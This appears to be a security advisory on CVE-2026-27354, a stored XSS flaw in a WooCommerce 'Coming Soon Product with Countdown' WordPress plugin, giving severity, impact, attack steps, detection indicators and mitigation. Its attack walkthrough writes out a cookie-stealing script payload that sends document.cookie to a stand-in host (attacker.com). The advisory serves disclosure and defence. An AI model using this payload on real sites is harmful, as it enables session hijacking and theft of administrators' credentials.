CVE-2026-27354: 
WordPress vulnerability analysis and mitigation

CVE-2026-27354 is a Stored Cross-Site Scripting (XSS) vulnerability in the WooCommerce Coming Soon Product with Countdown WordPress plugin by WebCodingPlace. It affects all versions up to and including 5.0, with no official patch available as of the time of disclosure. The vulnerability was reported by researcher Phat RiO on November 26, 2025, and published by Patchstack on February 25, 2026. It carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the Stored XSS variant. An authenticated attacker with at minimum Subscriber-level privileges can inject malicious scripts into fields processed by the plugin, which are then persistently stored and rendered in the browser of any user who visits the affected page. Exploitation requires low attack complexity over a network vector, but does require user interaction (a privileged user must view the page containing the injected payload) (Patchstack).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript within the WordPress site, which executes in the browsers of visiting users, including administrators. This can lead to session hijacking, credential theft, unauthorized administrative actions, defacement, or redirection of site visitors to malicious external resources. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the plugin itself to the broader browser environment of affected users (Patchstack).

No public proof-of-concept exploit code has been identified at this time. The EPSS score is approximately 0.029%, indicating a low but non-negligible probability of exploitation in the near term. Patchstack notes that vulnerabilities of this class are commonly used in mass-exploit campaigns targeting thousands of WordPress sites regardless of traffic or popularity. There is no current evidence of in-the-wild exploitation or CISA KEV catalog listing (Patchstack).

1. Reconnaissance: Identify WordPress sites running the WooCommerce Coming Soon Product with Countdown plugin version ≤ 5.0 using tools like WPScan or Shodan with relevant WordPress plugin fingerprinting.
2. Obtain low-privilege access: Register or obtain a Subscriber-level (or higher) account on the target WordPress site.
3. Inject malicious payload: Navigate to the plugin's configuration or product input fields and insert a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable input field that is stored by the plugin.
4. Trigger execution: Wait for a privileged user (e.g., an administrator) to visit the page where the payload is rendered, causing the script to execute in their browser context.
5. Achieve objective: Harvest session cookies, perform unauthorized administrative actions, or redirect users to attacker-controlled infrastructure (Patchstack).

• Logs: WordPress access logs showing POST requests from low-privilege accounts to plugin-related admin endpoints containing encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=).
• File System: Unexpected modifications to plugin files or WordPress database entries containing <script> tags or JavaScript URIs in product or plugin settings fields.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after visiting pages managed by the plugin, potentially indicating cookie or credential exfiltration.
• Logs: WordPress database entries in wp_options or wp_postmeta tables associated with the plugin containing unsanitized HTML or JavaScript content.

As of the disclosure date, no official patch is available from the plugin vendor (WebCodingPlace). Site administrators should consider deactivating and removing the plugin until a patched version is released. Patchstack has issued a virtual patching/mitigation rule for subscribers of its service to block exploitation attempts in the interim. Additionally, restricting Subscriber-level user registration on the site reduces the attack surface (Patchstack).

The vulnerability was discovered and disclosed by independent researcher Phat RiO through Patchstack's coordinated disclosure program. Patchstack classified it as medium priority and noted its potential for use in mass-exploit campaigns targeting WordPress sites. No significant broader media coverage or notable public researcher commentary beyond the Patchstack advisory has been identified (Patchstack).